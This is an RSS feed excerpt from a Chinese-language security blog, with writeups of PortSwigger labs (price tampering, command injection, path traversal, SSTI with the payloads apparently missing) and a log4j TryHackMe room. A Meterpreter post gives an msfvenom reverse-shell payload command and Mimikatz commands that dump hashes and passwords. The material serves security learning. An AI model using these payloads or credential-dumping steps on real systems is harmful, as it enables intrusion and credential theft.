&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="lab-basic-ssrf-against-another-back-end-system"&gt;&lt;a href="https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system"&gt;Lab: Basic SSRF against another back-end system&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述-1"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab has a stock check feature which fetches data from an internal system.&lt;/p&gt;</description></item><item><title>第一篇貓咪🐱</title><link>http://blog.stevenyu.tw/2022/02/12/hello-world/</link><pubDate>Sat, 12 Feb 2022 23:04:38 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/12/hello-world/</guid><description>&lt;p&gt;這是我ㄉ第一篇貓咪🐱&lt;/p&gt;
&lt;p&gt;主要會在這邊貼一些自己的筆記或是一些亂七八糟ㄉ東西&lt;/p&gt;
&lt;p&gt;然後近期可能會補上一些以前存在其他地方的文&lt;/p&gt;
&lt;p&gt;為了避免混亂，發文日期會設定成比較早ㄉ時間&lt;/p&gt;
&lt;p&gt;就醬喵ㄅㄅ&lt;/p&gt;</description></item><item><title>Business logic vulnerabilities (PortSwigger Writeup)</title><link>http://blog.stevenyu.tw/2022/02/11/business-logic-vulnerabilities/</link><pubDate>Fri, 11 Feb 2022 19:30:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/11/business-logic-vulnerabilities/</guid><description>&lt;h2 id="lab-excessive-trust-in-client-side-controls"&gt;&lt;a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-excessive-trust-in-client-side-controls"&gt;Lab: Excessive trust in client-side controls&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab doesn&amp;rsquo;t adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for an unintended price. To solve the lab, buy a &amp;ldquo;Lightweight l33t leather jacket&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;You can log in to your own account using the following credentials: wiener:peter&lt;/p&gt;
&lt;h3 id="題目解釋"&gt;題目解釋&lt;/h3&gt;
&lt;p&gt;竄改 POST 內容&lt;/p&gt;
&lt;h3 id="解答"&gt;解答&lt;/h3&gt;
&lt;p&gt;在加入購物車時會順便 POST 價格&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;POST /cart HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host: acd31fa31fe0b3dcc04314f500560069.web-security-academy.net
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Cookie: session=IxPR6nrwBtk0VSUHVKPDmBuwG2IJVK8z
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept-Language: en-US,en;q=0.5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept-Encoding: gzip, deflate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Type: application/x-www-form-urlencoded
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Length: 49
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Origin: https://acd31fa31fe0b3dcc04314f500560069.web-security-academy.net
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Referer: https://acd31fa31fe0b3dcc04314f500560069.web-security-academy.net/product?productId=1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Upgrade-Insecure-Requests: 1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Forwarded-For: 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Originating-Ip: 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Remote-Ip: 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Remote-Addr: 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Te: trailers
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connection: close
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;productId=1&amp;amp;redir=PRODUCT&amp;amp;quantity=1&amp;amp;price=133700
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;竄改成 1 再去購物車結帳就好ㄌ&lt;/p&gt;</description></item><item><title>WebSockets (PortSwigger Writeup)</title><link>http://blog.stevenyu.tw/2022/02/08/websockets/</link><pubDate>Tue, 08 Feb 2022 19:29:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/08/websockets/</guid><description>&lt;h2 id="lab-manipulating-websocket-messages-to-exploit-vulnerabilities"&gt;&lt;a href="https://portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities"&gt;Lab: Manipulating WebSocket messages to exploit vulnerabilities&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This online shop has a live chat feature implemented using WebSockets.&lt;/p&gt;
&lt;p&gt;Chat messages that you submit are viewed by a support agent in real time.&lt;/p&gt;
&lt;p&gt;To solve the lab, use a WebSocket message to trigger an alert() popup in the support agent&amp;rsquo;s browser.&lt;/p&gt;
&lt;h3 id="題目解釋"&gt;題目解釋&lt;/h3&gt;
&lt;p&gt;練習用 Burp 抓 Websockets&lt;/p&gt;
&lt;h3 id="解答"&gt;解答&lt;/h3&gt;
&lt;p&gt;用 Burp 抓包後，上面有一個 Websockets history&lt;/p&gt;
&lt;p&gt;把資料丟到 Repeater 之後改輸入&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&amp;#34;user&amp;#34;:&amp;#34;You&amp;#34;,&amp;#34;content&amp;#34;:&amp;#34; &amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="lab-manipulating-the-websocket-handshake-to-exploit-vulnerabilities"&gt;&lt;a href="https://portswigger.net/web-security/websockets/lab-manipulating-handshake-to-exploit-vulnerabilities"&gt;Lab: Manipulating the WebSocket handshake to exploit vulnerabilities&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述-1"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This online shop has a live chat feature implemented using WebSockets.&lt;/p&gt;</description></item><item><title>Access control vulnerabilities (PortSwigger Writeup)</title><link>http://blog.stevenyu.tw/2022/02/07/access-control-vulnerabilities/</link><pubDate>Mon, 07 Feb 2022 19:28:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/07/access-control-vulnerabilities/</guid><description>&lt;h2 id="lab-unprotected-admin-functionality"&gt;&lt;a href="https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality"&gt;Lab: Unprotected admin functionality&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab has an unprotected admin panel.&lt;br&gt;
Solve the lab by deleting the user carlos.&lt;/p&gt;
&lt;h3 id="題目解釋"&gt;題目解釋&lt;/h3&gt;
&lt;p&gt;沒有限制的 admin 面板&lt;/p&gt;
&lt;h3 id="解答"&gt;解答&lt;/h3&gt;
&lt;p&gt;從 &lt;code&gt;robots.txt&lt;/code&gt; 可以看到 &lt;code&gt;/administrator-panel&lt;/code&gt;，進去刪帳號&lt;/p&gt;
&lt;h2 id="lab-unprotected-admin-functionality-with-unpredictable-url"&gt;&lt;a href="https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality-with-unpredictable-url"&gt;Lab: Unprotected admin functionality with unpredictable URL&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述-1"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab has an unprotected admin panel. It&amp;rsquo;s located at an unpredictable location, but the location is disclosed somewhere in the application.&lt;/p&gt;
&lt;p&gt;Solve the lab by accessing the admin panel, and using it to delete the user carlos.&lt;/p&gt;</description></item><item><title>Server-side template injection (PortSwigger Writeup)</title><link>http://blog.stevenyu.tw/2022/02/06/server-side-template-injection/</link><pubDate>Sun, 06 Feb 2022 19:28:08 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/06/server-side-template-injection/</guid><description>&lt;h2 id="lab-basic-server-side-template-injection"&gt;&lt;a href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic"&gt;Lab: Basic server-side template injection&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template.&lt;/p&gt;
&lt;p&gt;To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos&amp;rsquo;s home directory.&lt;/p&gt;
&lt;h3 id="題目解釋"&gt;題目解釋&lt;/h3&gt;
&lt;p&gt;題目說是 ERB 的 SSTI&lt;/p&gt;
&lt;h3 id="解答"&gt;解答&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://acc21f1d1e22b8ffc0390b0f0087005f.web-security-academy.net/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;?message=
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;會回傳 49&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://acc21f1d1e22b8ffc0390b0f0087005f.web-security-academy.net/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;?message=
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;可以取得使用者名稱&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://acc21f1d1e22b8ffc0390b0f0087005f.web-security-academy.net/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;?message=
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;順利刪除檔案&lt;/p&gt;
&lt;h2 id="lab-basic-server-side-template-injection-code-context"&gt;&lt;a href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context"&gt;Lab: Basic server-side template injection (code context)&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述-1"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos&amp;rsquo;s home directory.&lt;/p&gt;</description></item><item><title>Information disclosure (PortSwigger Writeup)</title><link>http://blog.stevenyu.tw/2022/02/05/information-disclosure/</link><pubDate>Sat, 05 Feb 2022 19:27:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/05/information-disclosure/</guid><description>&lt;h2 id="lab-information-disclosure-in-error-messages"&gt;&lt;a href="https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-error-messages"&gt;Lab: Information disclosure in error messages&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab&amp;rsquo;s verbose error messages reveal that it is using a vulnerable version of a third-party framework. To solve the lab, obtain and submit the version number of this framework.&lt;/p&gt;
&lt;h3 id="題目解釋"&gt;題目解釋&lt;/h3&gt;
&lt;p&gt;想辦法讓他噴 Error 可能可以洩漏版本號&lt;/p&gt;
&lt;h3 id="解答"&gt;解答&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://acf81fed1ef0e1cbc040196e00b300c0.web-security-academy.net/product?productId=asd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;就會噴出 &lt;code&gt;Apache Struts 2 2.3.31&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="lab-information-disclosure-on-debug-page"&gt;&lt;a href="https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-on-debug-page"&gt;Lab: Information disclosure on debug page&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述-1"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab contains a debug page that discloses sensitive information about the application. To solve the lab, obtain and submit the SECRET_KEY environment variable.&lt;/p&gt;</description></item><item><title>File upload vulnerabilities (PortSwigger Writeup)</title><link>http://blog.stevenyu.tw/2022/02/05/file-upload-vulnerabilities/</link><pubDate>Sat, 05 Feb 2022 19:26:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/05/file-upload-vulnerabilities/</guid><description>&lt;h2 id="lab-remote-code-execution-via-web-shell-upload"&gt;&lt;a href="https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload"&gt;Lab: Remote code execution via web shell upload&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab contains a vulnerable image upload function. It doesn&amp;rsquo;t perform any validation on the files users upload before storing them on the server&amp;rsquo;s filesystem.&lt;/p&gt;
&lt;p&gt;To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.&lt;/p&gt;
&lt;p&gt;You can log in to your own account using the following credentials: &lt;code&gt;wiener:peter&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Directory traversal (PortSwigger Writeup)</title><link>http://blog.stevenyu.tw/2022/02/05/directory-traversal/</link><pubDate>Sat, 05 Feb 2022 19:24:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/05/directory-traversal/</guid><description>&lt;h2 id="lab-file-path-traversal-simple-case"&gt;&lt;a href="https://portswigger.net/web-security/file-path-traversal/lab-simple"&gt;Lab: File path traversal, simple case&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab contains a file path traversal vulnerability in the display of product images.&lt;/p&gt;
&lt;p&gt;To solve the lab, retrieve the contents of the /etc/passwd file.&lt;/p&gt;
&lt;h3 id="題目解釋"&gt;題目解釋&lt;/h3&gt;
&lt;p&gt;圖片網址的地方可以任意讀檔，嘗試讀取 &lt;code&gt;/etc/passwd&lt;/code&gt;。&lt;/p&gt;
&lt;h3 id="解答"&gt;解答&lt;/h3&gt;
&lt;p&gt;觀察一個圖片&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://ac801f311fe78ab8c0bf223f000500bf.web-security-academy.net/image?filename=11.jpg
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;修改 Filename&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://ac801f311fe78ab8c0bf223f000500bf.web-security-academy.net/image?filename=../../../../../../../etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="lab-file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass"&gt;&lt;a href="https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass"&gt;Lab: File path traversal, traversal sequences blocked with absolute path bypass&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述-1"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab contains a file path traversal vulnerability in the display of product images.&lt;/p&gt;
&lt;p&gt;The application blocks traversal sequences but treats the supplied filename as being relative to a default working directory.&lt;/p&gt;</description></item><item><title>OS command injection (PortSwigger Writeup)</title><link>http://blog.stevenyu.tw/2022/02/05/os-command-injection/</link><pubDate>Sat, 05 Feb 2022 19:24:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/05/os-command-injection/</guid><description>&lt;h2 id="lab-os-command-injection-simple-case"&gt;&lt;a href="https://portswigger.net/web-security/os-command-injection/lab-simple"&gt;Lab: OS command injection, simple case&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab contains an OS command injection vulnerability in the product stock checker.&lt;/p&gt;
&lt;p&gt;The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.&lt;/p&gt;
&lt;p&gt;To solve the lab, execute the whoami command to determine the name of the current user.&lt;/p&gt;
&lt;h3 id="題目解釋"&gt;題目解釋&lt;/h3&gt;
&lt;p&gt;要執行 &lt;code&gt;whoami&lt;/code&gt;，弱點在 stock checker&lt;/p&gt;
&lt;h3 id="解答"&gt;解答&lt;/h3&gt;
&lt;p&gt;Post 設定參數&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;productId=1%20%26%26%20whoami&amp;amp;storeId=3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="lab-blind-os-command-injection-with-time-delays"&gt;&lt;a href="https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays"&gt;Lab: Blind OS command injection with time delays&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述-1"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab contains a blind OS command injection vulnerability in the feedback function.&lt;/p&gt;</description></item><item><title>SQL injection (PortSwigger Writeup)</title><link>http://blog.stevenyu.tw/2022/02/05/sql-injection/</link><pubDate>Sat, 05 Feb 2022 19:20:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/05/sql-injection/</guid><description>&lt;h2 id="lab-sql-injection-union-attack-determining-the-number-of-columns-returned-by-the-query"&gt;&lt;a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns"&gt;Lab: SQL injection UNION attack, determining the number of columns returned by the query&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application&amp;rsquo;s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.&lt;br&gt;
To solve the lab, determine the number of columns returned by the query by performing an SQL injection UNION attack that returns an additional row containing null values.&lt;/p&gt;</description></item><item><title>Meterpreter 基礎</title><link>http://blog.stevenyu.tw/2021/12/26/meterpreter-%E5%9F%BA%E7%A4%8E/</link><pubDate>Sun, 26 Dec 2021 23:27:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/12/26/meterpreter-%E5%9F%BA%E7%A4%8E/</guid><description>&lt;h2 id="產-shell"&gt;產 Shell&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP} LPORT={PORT} -f exe -e x86/shikata_ga_nai &amp;gt; {FILE}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="執行"&gt;執行&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;記得 Payload 需要修改成相對應的&lt;code&gt;windows/meterpreter/reverse_tcp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2ff5a-FJlpYFJ.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="常見指令"&gt;常見指令&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ls&lt;/code&gt;,&lt;code&gt;pwd&lt;/code&gt; , &lt;code&gt;mkdir&lt;/code&gt;, &lt;code&gt;cat&lt;/code&gt;BJ4&lt;code&gt;getuid&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/979ce-R2Sovvj.png"&gt;&lt;/li&gt;
&lt;li&gt;取得使用者名稱&lt;code&gt;edit {檔名}&lt;/code&gt;- 會直接開啟 vim 可以改檔案&lt;code&gt;sysinfo&lt;/code&gt;- 系統資訊&lt;code&gt;getsystem&lt;/code&gt;- 如果有過 UAC 的話，有機率可以直接拿 system&lt;/li&gt;
&lt;li&gt;執行後輸入 &lt;code&gt;getuid&lt;/code&gt; 就可以確認自己是否真的是 system 了&lt;code&gt;ps``migrate {PID}&lt;/code&gt;- 可以讓自己爬到 x64 之類的 system 權限上&lt;/li&gt;
&lt;li&gt;例如 lsass.exe 的 PID&lt;code&gt;screenshot&lt;/code&gt;- 截圖&lt;/li&gt;
&lt;li&gt;需要是當前使用者，不能是 system 之類&lt;code&gt;upload {檔案}&lt;/code&gt; / &lt;code&gt;download {檔案}&lt;/code&gt;- upload -&amp;gt; attacker to victim&lt;/li&gt;
&lt;li&gt;download -&amp;gt; victim to attacker&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="mimikatz"&gt;Mimikatz&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;需要是 system 權限&lt;/li&gt;
&lt;li&gt;&lt;code&gt;load kiwi&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;help kiwi&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lsa_dump_sam&lt;/code&gt;取 Hash&lt;code&gt;lsa_dump_secrets&lt;/code&gt;- 取明文密碼&lt;code&gt;kiwi_cmd sekurlsa::logonpasswords&lt;/code&gt;- 需要先 migrate 到 x64 上&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Solar, exploiting log4j (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/12/19/solar-exploiting-log4j-try-hack-me-writeup/</link><pubDate>Sun, 19 Dec 2021 13:03:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/12/19/solar-exploiting-log4j-try-hack-me-writeup/</guid><description>&lt;p&gt;&lt;a href="https://tryhackme.com/room/solar"&gt;https://tryhackme.com/room/solar&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2021 / 12 / 9 公開了 CVE-2021-44228，影響到了 log4j，它的危害程度達到 10，這個漏洞又被稱作 Log4Shell&lt;/li&gt;
&lt;li&gt;現在已經有新版的 2.16.0 Release 了，不過又出現了 Log4j2&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/40d26-3mP4uA7.png"&gt;&lt;/p&gt;
&lt;p&gt;透過掃 Port 可以看到有開 3 個 Port，分別是22,111,8983&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rustscan -a 10.10.18.186 -r 1-65535&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;可以用 nmap 做更詳細的掃瞄&lt;/p&gt;
&lt;p&gt;nmap -sV -Pn -A -p22,111,8983 10.10.18.186&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/65b39-0SSpNAR.png"&gt;&lt;/p&gt;
&lt;p&gt;可以發現 8983 開的是一個 Apache solr 的 Server&lt;/p&gt;
&lt;h2 id="discovery"&gt;Discovery&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2b2d7-RidZWlU.png"&gt;&lt;/p&gt;
&lt;p&gt;觀察首頁的版本可以知道他是 Solr 8.11.0&lt;/p&gt;
&lt;p&gt;觀察 &lt;code&gt;-Dsolr.log.dir&lt;/code&gt; 可以看到他的 log Path 是 &lt;code&gt;/var/solr/logs&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/51479-KE5WrQb.png"&gt;&lt;/p&gt;
&lt;p&gt;下載 lab 提供的 solrlogs.zip 檔案，他是一份範例的 Log 檔案&lt;/p&gt;
&lt;p&gt;可以觀察到裡面有一個叫做 &lt;code&gt;solr.log&lt;/code&gt; 的檔案會紀錄網頁的 Path 相關 Log&lt;/p&gt;</description></item><item><title>DEVCORE WarGame (Web) for HITCON 2021 Writeup</title><link>http://blog.stevenyu.tw/2021/11/29/devcore-wargame-web-for-hitcon-2021-writeup/</link><pubDate>Mon, 29 Nov 2021 13:42:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/11/29/devcore-wargame-web-for-hitcon-2021-writeup/</guid><description>&lt;h1 id="devcore-wargame-web-for-hitcon-2021-writeup"&gt;DEVCORE WarGame (Web) for HITCON 2021 Writeup&lt;/h1&gt;
&lt;p&gt;By Steven Meow&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://wargame.devcore.tw/Web"&gt;https://wargame.devcore.tw/Web&lt;/a&gt; : &lt;a href="http://web.ctf.devcore.tw/"&gt;http://web.ctf.devcore.tw/&lt;/a&gt;今年與去年一樣，在 HITCON 會場上有 DEVCORE 的擺攤，解 Wargame 就可以換小獎品與 NFT，而且據說今年的題目都是來自現實生活中的真實案例改編，我覺得題目比起去年明顯的簡單了不少。但我還是覺得在 HITCON 辦這種活動不太優 QQ 會害人無法專心聽議程，都在解題。畢竟這種 Conf，我覺得聽議程還是比較重要 Q__Q。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="弱點-01-path-traversal"&gt;弱點 01 Path Traversal&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;簡單逛一下網頁會發現是一個印表機的訂購網站&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2b57f-R84Kf43.png"&gt;觀察進入網頁首頁的 HTTP Request 可以看到一個明顯可疑的 URL- &lt;code&gt;http://web.ctf.devcore.tw/image.php?id=aHBfbTI4M2Zkdy5qcGc=&lt;/code&gt;&lt;/li&gt;
